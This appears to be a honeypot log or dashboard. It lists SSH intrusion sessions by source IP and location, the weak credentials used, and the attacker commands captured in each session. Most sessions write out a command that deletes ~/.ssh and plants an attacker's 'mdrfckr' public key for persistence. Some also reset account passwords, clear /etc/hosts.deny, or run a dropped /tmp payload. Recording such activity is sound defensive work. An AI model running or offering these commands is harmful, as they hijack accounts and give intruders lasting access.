2026-04-16 18:35 EDT Β· as oracle/oracle1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 cipher_pi (58.152.192.195) β€” Tseung Kwan O, Hong Kong Β· 2 sessions Β· 3 cmds
2026-04-16 18:21 EDT Β· as pi/raspberry
make executable β†’ execute payload β†’ execute from /tmp
$ cd /tmp && chmod +x bSqMc657 && bash -c ./bSqMc657
↳ make executable
$ ./bSqMc657
↳ execute payload
$ scp -t /tmp/bSqMc657
↳ execute from /tmp
🎭 bibimbap_root_3 (130.162.132.75) β€” Seoul, South Korea Β· 1 session Β· 2 cmds
2026-04-16 18:03 EDT Β· as oracle/Oracle10!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 shadow_root_7 (114.34.106.146) β€” New Taipei City, Taiwan Β· 2 sessions Β· 22 cmds
2026-04-15 15:18 EDT Β· as oracle/Oracle03, tomcat/tomcat123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "tomcat123\nt3a3TDLbKzzl\nt3a3TDLbKzzl"|passwd|bash
$ Enter new UNIX password:
$ echo "tomcat123\nt3a3TDLbKzzl\nt3a3TDLbKzzl\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 wok_root_20 (120.77.153.229) β€” Shenzhen, China Β· 1 session Β· 1 cmd
2026-04-16 15:53 EDT Β· as user/user
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 bike_sol_2 (2.57.122.96) β€” Amsterdam, The Netherlands Β· 601 sessions Β· 601 cmds
2026-02-28 03:38 EST Β· as eth/eth, firedancer/firedancer, jito/jito
Ran uname 433x across 433 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—601
↳ obfuscated system check
🎭 lantern_root_12 (218.22.202.18) β€” Hefei, China Β· 1 session Β· 1 cmd
2026-04-16 13:15 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 phantom_root_13 (156.238.252.133) β€” Hong Kong, Hong Kong Β· 2 sessions Β· 4 cmds
2026-04-16 13:00 EDT Β· as oracle/oracle11!, oracle/oracle17
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 bike_root_7 (103.45.247.79) β€” Amsterdam, Netherlands Β· 1 session Β· 2 cmds
2026-04-16 12:57 EDT Β· as oracle/Passw0rd@123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 specter_db (201.184.50.251) β€” BogotΓ‘, Colombia Β· 1 session Β· 2 cmds
2026-04-16 12:40 EDT Β· as oracle/oracle17
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 chai_root_9 (49.207.241.24) β€” Bengaluru, India Β· 1 session Β· 2 cmds
2026-04-16 12:39 EDT Β· as oracle/oracle17
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 dragon_root_14 (59.36.233.74) β€” Guangzhou, China Β· 2 sessions Β· 2 cmds
2026-04-08 12:40 EDT Β· as guest/guest, root/1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 cipher_root_45 (41.86.34.139) β€” Victoria, Seychelles Β· 1 session Β· 20 cmds
2026-04-16 09:16 EDT Β· as ubuntu/ubuntu
chattr -ia .ssh β†’ rm -rf .ssh β†’ mkdir .ssh β†’ passwd ubuntu/qhgu2R0vrhFR β†’ cat /proc/cpuinfo | grep name | wc -l β†’ cat /proc/cpuinfo | grep model | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9}' β†’ free -m | grep Mem
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "ubuntu\nqhgu2R0vrhFR\nqhgu2R0vrhFR"|passwd|bash
$ Enter new UNIX password:
$ echo "ubuntu\nqhgu2R0vrhFR\nqhgu2R0vrhFR\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 shadow_root_29 (103.163.116.84) β€” Dhaka, Bangladesh Β· 1 session Β· 20 cmds
2026-04-16 09:04 EDT Β· as ubuntu/ubuntu
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "ubuntu\nrqDzgDVvKBTj\nrqDzgDVvKBTj"|passwd|bash
$ Enter new UNIX password:
$ echo "ubuntu\nrqDzgDVvKBTj\nrqDzgDVvKBTj\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 lantern_root_13 (39.105.51.214) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-16 08:11 EDT Β· as pi/pi
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 ghost_root_53 (152.32.211.151) β€” Hong Kong, Hong Kong Β· 2 sessions Β· 22 cmds
2026-04-16 07:21 EDT Β· as oracle/Oracle10, user/user
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "user\nrt5BX8fBxjY8\nrt5BX8fBxjY8"|passwd|bash
$ Enter new UNIX password:
$ echo "user\nrt5BX8fBxjY8\nrt5BX8fBxjY8\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 strudel_root_6 (85.184.248.187) β€” Frankfurt am Main, Germany Β· 2 sessions Β· 21 cmds
2026-03-17 07:49 EDT Β· as oracle/Oracle19, root/admin
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:m1HyR2FsWJu8"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 lantern_root_14 (36.133.214.135) β€” Guangzhou, China Β· 1 session Β· 1 cmd
2026-04-16 07:11 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 rogue_root_22 (185.226.89.235) β€” Tirana, Albania Β· 1 session Β· 2 cmds
2026-04-16 05:07 EDT Β· as oracle/oracle123456
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 cipher_root_46 (196.189.237.175) β€” NazrΔ“t, Ethiopia Β· 1 session Β· 2 cmds
2026-04-16 04:56 EDT Β· as oracle/oracle123456
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 autobahn_root_12 (178.104.142.172) β€” Nuremberg, Germany Β· 1 session Β· 1 cmd
2026-04-16 04:56 EDT Β· as root/admin123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 shadow_sol_6 (189.178.79.210) β€” Guadalajara, Mexico Β· 1 session Β· 20 cmds
2026-04-16 04:43 EDT Β· as eth/eth
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "eth\nW9xIGJLAdSF0\nW9xIGJLAdSF0"|passwd|bash
$ Enter new UNIX password:
$ echo "eth\nW9xIGJLAdSF0\nW9xIGJLAdSF0\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 specter_root_24 (101.36.111.119) β€” Hong Kong, Hong Kong Β· 1 session Β· 2 cmds
2026-04-16 03:26 EDT Β· as oracle/Oracle22
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 rogue_root_16 (34.81.72.185) β€” Taipei, Taiwan Β· 1 session Β· 2 cmds
2026-04-16 03:18 EDT Β· as oracle/Oracle22
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 stein_root_15 (45.144.55.15) β€” Frankfurt am Main, Germany Β· 2 sessions Β· 2 cmds
2026-04-13 06:11 EDT Β· as root/123456
process enumeration β†’ privilege check
$ ps aux
↳ process enumeration
$ id
↳ privilege check
🎭 bistro_root_3 (194.163.141.68) β€” Lauterbourg, France Β· 1 session Β· 1 cmd
2026-04-16 02:18 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 ghost_root_21 (163.7.4.169) β€” Banguntapan, Indonesia Β· 2 sessions Β· 4 cmds
2026-04-12 02:32 EDT Β· as oracle/Oracle2026!@#, oracle/oracleoracle
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 cipher_root_47 (165.154.6.146) β€” Hong Kong, Hong Kong Β· 2 sessions Β· 4 cmds
2026-04-15 07:38 EDT Β· as oracle/Oracle23, oracle/oracle27!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 specter_root_40 (103.239.252.132) β€” Dhaka, Bangladesh Β· 1 session Β· 2 cmds
2026-04-16 00:14 EDT Β· as oracle/oracle!@#$
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 cipher_root_48 (197.199.224.52) β€” Al Qāhirah al JadΔ«dah, Egypt Β· 1 session Β· 2 cmds
2026-04-16 00:12 EDT Β· as oracle/Oracle23
file attribute tampering β†’ SSH key persistence
